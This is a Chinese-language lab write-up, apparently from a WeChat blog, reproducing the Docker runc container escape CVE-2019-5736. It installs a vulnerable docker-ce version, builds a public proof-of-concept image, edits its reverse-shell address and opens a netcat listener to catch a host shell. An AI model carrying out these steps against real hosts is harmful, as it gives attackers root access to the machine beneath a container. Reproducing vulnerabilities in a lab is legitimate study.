本周继续实践Docker容器逃逸漏洞,CVE-2019-5736,
还是宿主机ubuntu18.04,安装docker-ce,别安装docker.io,
从download.docker.com安装,
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg,
echo
"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null,
sudo apt-get update,
查看docker-ce可安装的版本,apt-cache madison docker-ce,
这回安装18.06.0版本,
sudo apt-get install docker-ce=18.06.0~ce~3-0~ubuntu containerd.io=1.3.7-1,
sudo systemctl enable docker,
sudo gpasswd -a ubuntu docker,
newgrp docker,
这回的靶机要自己build镜像,
git clone https://github.com/agppp/cve-2019-5736-poc,
cd cve-2019-5736-poc,
修改代码,vim stage2.c,反弹shell的地址改成靶机实例的地址,其实这步不合理,因为还没创建靶机实例呢,应该在后面执行run.sh之前改才合理,不过我这里环境就做这一个实验,只有靶机这一个容器实例,因此能提前知道地址,
build镜像,docker build -t cve .,
注意提前备份一下宿主机里的docker-run文件,
sudo cp /usr/bin/docker-run /usr/bin/docker-run.bak,
拉起靶机实例,docker run -d cve /bin/bash -c "tail -f /dev/null",
进入靶机实例,先安装几个需要的软件,
apt update,apt install vim net-tools netcat,
cd /root,修改运行脚本,vim run.sh,
运行脚本之前,再给靶机开一个shell,打开反弹shell监听,nc -lvp 4444,
再回来运行脚本,./run.sh,
然后再给靶机重新开一个shell作为触发,宿主机的shell这就过来了,
逃逸完成。
本文始发于微信公众号(云计算和网络安全技术实践):Docker容器逃逸漏洞 (CVE-2019-5736)的复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论